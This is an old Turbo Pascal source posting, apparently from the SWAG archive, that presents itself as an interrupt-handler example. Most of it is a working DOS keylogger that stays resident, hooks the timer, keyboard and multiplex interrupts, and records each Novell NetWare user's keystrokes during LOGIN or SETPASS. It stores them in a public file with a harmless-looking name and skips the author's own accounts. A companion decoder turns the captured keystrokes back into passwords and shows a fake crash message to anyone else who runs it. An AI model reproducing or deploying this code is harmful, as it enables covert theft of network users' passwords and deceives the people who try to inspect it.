{
The program NOVKILL.PAS is a TSR program that tries to get passwords for
Novell Networks, and does not belong to NUMBERS.SWG. If you want to keep
it, you may do so, but please move it to TSR.SWG, ISR.SWG or NOVELL.SWG,
and change the sender address from bero@flash.gun.de to my new address,
bero@rage.fido.de.

If you are interested in a more elaborate version of the entire thing
(which I believe to be a good example for ISRs - it accesses the timer
interrupt, the keyboard interrupt and the multiplex interrupt; and even
writes to a file from within an interrupt), here you go:
}

program Get_Passwords;
{$M $1000,0,0}
Uses Dos,Crt,Network;
{ Network ist a Unit I wrote to do some NetWare API calls.
  The only function used here is GetUser, which can be taken from
  other Network programs in the SWAGs, as well. }
type Pwd=Array[0..99] of byte;
type FileType=record
              UserName:String[10];
              Password:Pwd;
     end;
var OldInt2F:pointer;  { Multiplex }
    OldInt9:procedure; { Keyboard }
    OldInt8:pointer;   { Timer }
    s:string;
    Password:Pwd;
    Save_Me:FileType;
    Save_Pass:File of FileType;
    catching,writing,tsr_wr:boolean;
    Counter:word;
    DosSeg,DosBusy:word;
const oldstackss:word=0;    { TSR-Programms that try to write to a file }
      oldstacksp:word=0;    { from a "standard" interrupt must have     }
      stacksw:integer=-1;   { their own stack...                        }
      intstackss:word=0;
      intstacksp:word=0;
{$F+}
{$I-}
procedure GoOldInt(OldInt:Pointer);
{ GoOldInt calls an old interrupt-handler }
INLINE(
       $5B/
       $58/
       $89/$EC/
       $5D/
       $07/
       $1F/
       $5F/
       $5E/
       $5A/
       $59/
       $87/$EC/
       $87/$5E/$00/
       $87/$46/$02/
       $87/$EC/
       $CB);

procedure NewInt8;interrupt;  { New timer-interrupt }
begin
  asm cli                     { save old stack, switch to new }
      inc word ptr [stacksw]
      jnz @a
      mov [oldstackss],ss
      mov [oldstacksp],sp
      mov ss,[intstackss]
      mov sp,[intstacksp]
      @a: sti
  end;
  if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin
    { Do not write to files while DOS is busy... }
    writing:=false;
    tsr_wr:=true;
    port[$20]:=$20;  { Tell the Interrupt controller the int ends... }
    Save_Me.UserName:=GetUser;
    if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR')
       then begin { Do NOT save my own passwords... }
      Save_Me.Password:=Password;
      Assign(Save_Pass,'F:\PUBLIC\DATA.DBF');
                       { write passwords to a public directory, use a
                         non-suspicious name... }
      Reset(Save_Pass);
      IF IOResult<>0 then Rewrite(Save_Pass) else
         Seek(Save_Pass,filesize(Save_Pass));
      Write(Save_Pass,Save_Me);
      Close(Save_Pass);
      tsr_wr:=false;
    end;
  end;
  asm cli     { restore old stack }
      dec word ptr [stacksw]
      jge @b
      mov ss,oldstackss
      mov sp,oldstacksp
      @b: sti
  end;
  GoOldInt(OldInt8);
end;
procedure NewInt9;interrupt;  { New Keyboard-interrupt }
var inp:byte;
begin
  if catching then begin
    inp:=Port[$60];
    if (inp<$80) and (Counter<100) then begin
      Password[Counter]:=inp;
      Inc(Counter);
    end;
  end;
  asm pushf end;
  OldInt9;
end;
procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt;
{ New Multiplex-Interrupt: Intercept DOS-Commands }
VAR s:String;
    Count:Byte;
begin
  IF AX=$AE00 then begin
    s:='';
    For Count:=1 to Mem[ds:si] do
      s:=s+chr(Mem[ds:si+count]);
    if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin
      s:='';
      For Count:=1 to Mem[ds:bx+1] do
        s:=s+chr(Mem[ds:bx+count+1]);
        For Count:=0 to 99 do Password[Count]:=0;
        counter:=0;
        catching:=true;
    end else if catching then begin
      catching:=false;
      writing:=true;
      Counter:=0;
    end;
  end;
  GoOldInt(OldInt2F);
end;
procedure Init_TSR;  { Create new stack, get DOS-Busy byte }
begin
  IntStackSS:=SSEG;
  asm mov [IntStackSP],SP
      mov ah,$34
      int $21
      mov [DosSeg],ES
      mov [DosBusy],BX
  end;
end;
begin
  tsr_wr:=false;
  Counter:=0;
  catching:=false;
  Init_TSR;
  GetIntVec($8,OldInt8);   { set interrupts }
  SetIntVec($8,@NewInt8);
  GetIntVec($9,@OldInt9);
  SetIntVec($9,@NewInt9);
  GetIntVec($2f,OldInt2F);
  SetIntVec($2f,@NewInt2F);
  Keep(0);
end.

*************
"Decode" - Decode the files generated by the program above

program Decode;
Uses Dos,Crt,Network;
type Pwd=Array[0..99] of byte;
type FileType=record
              LoginName:String[10];
              Password:Pwd;
     end;
var s:string;
    Read_Me:FileType;
    Read_Pass:File of FileType;
    c:char;
    a:byte;
procedure Decode_Pass(s:Pwd); { Change SCAN-Codes to ASCII }
var count:byte;
begin
  count:=0;
  repeat
    case s[count] of
    1: Write('^');
    2: Write('1');
    3: Write('2');
    4: Write('3');
    5: Write('4');
    6: Write('5');
    7: Write('6');
    8: Write('7');
    9: Write('8');
    10: Write('9');
    11: Write('0');
    12: Write('a');
    13: Write('`');
    14: Write(chr(8));
    16: Write('Q');
    17: Write('W');
    18: Write('E');
    19: Write('R');
    20: Write('T');
    21: Write('Z');
    22: Write('U');
    23: Write('I');
    24: Write('O');
    25: Write('P');
    26: Write('s');
    27: Write('+');
    28: Write('[RETURN]');
    29: Write('[STRG]');
    30: Write('A');
    31: Write('S');
    32: Write('D');
    33: Write('F');
    34: Write('G');
    35: Write('H');
    36: Write('J');
    37: Write('K');
    38: Write('L');
    39: Write('Oe');
    40: Write('Ae');
    41: Write('#');
    42: Write('[SHIFT]');
    43: Write('<');
    44: Write('Y');
    45: Write('X');
    46: Write('C');
    47: Write('V');
    48: Write('B');
    49: Write('N');
    50: Write('M');
    51: Write(',');
    52: Write('.');
    53: Write('-');
    56: Write('[ALT (GR)]');
    else write('[Scan ',s[count],']');
    end;
    Inc(count);
  Until (s[count]=0) or (count=100);
end;
begin
  if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin
    { Abort program if someone else is calling it... }
    writeln('SYSTEM ERROR #0231- General Protection Fault at
0131:321D',chr(7));
    writeln('Abnormal program termination',chr(7));
    halt(0);
  end;
  Assign(Read_Pass,'F:\PUBLIC\DATA.DBF');
  Reset(Read_Pass);
  IF (DOSError<>0) then begin
    writeln('No passwords found... :-(((((');
    Halt(0);
  end;
  repeat
    Read(Read_Pass,Read_Me);
    Writeln(Read_Me.LoginName);
    Decode_Pass(Read_Me.Password);
    Writeln;
    repeat until keypressed; c:=ReadKey;
  until eof(Read_Pass);
  Close(Read_Pass);
end.
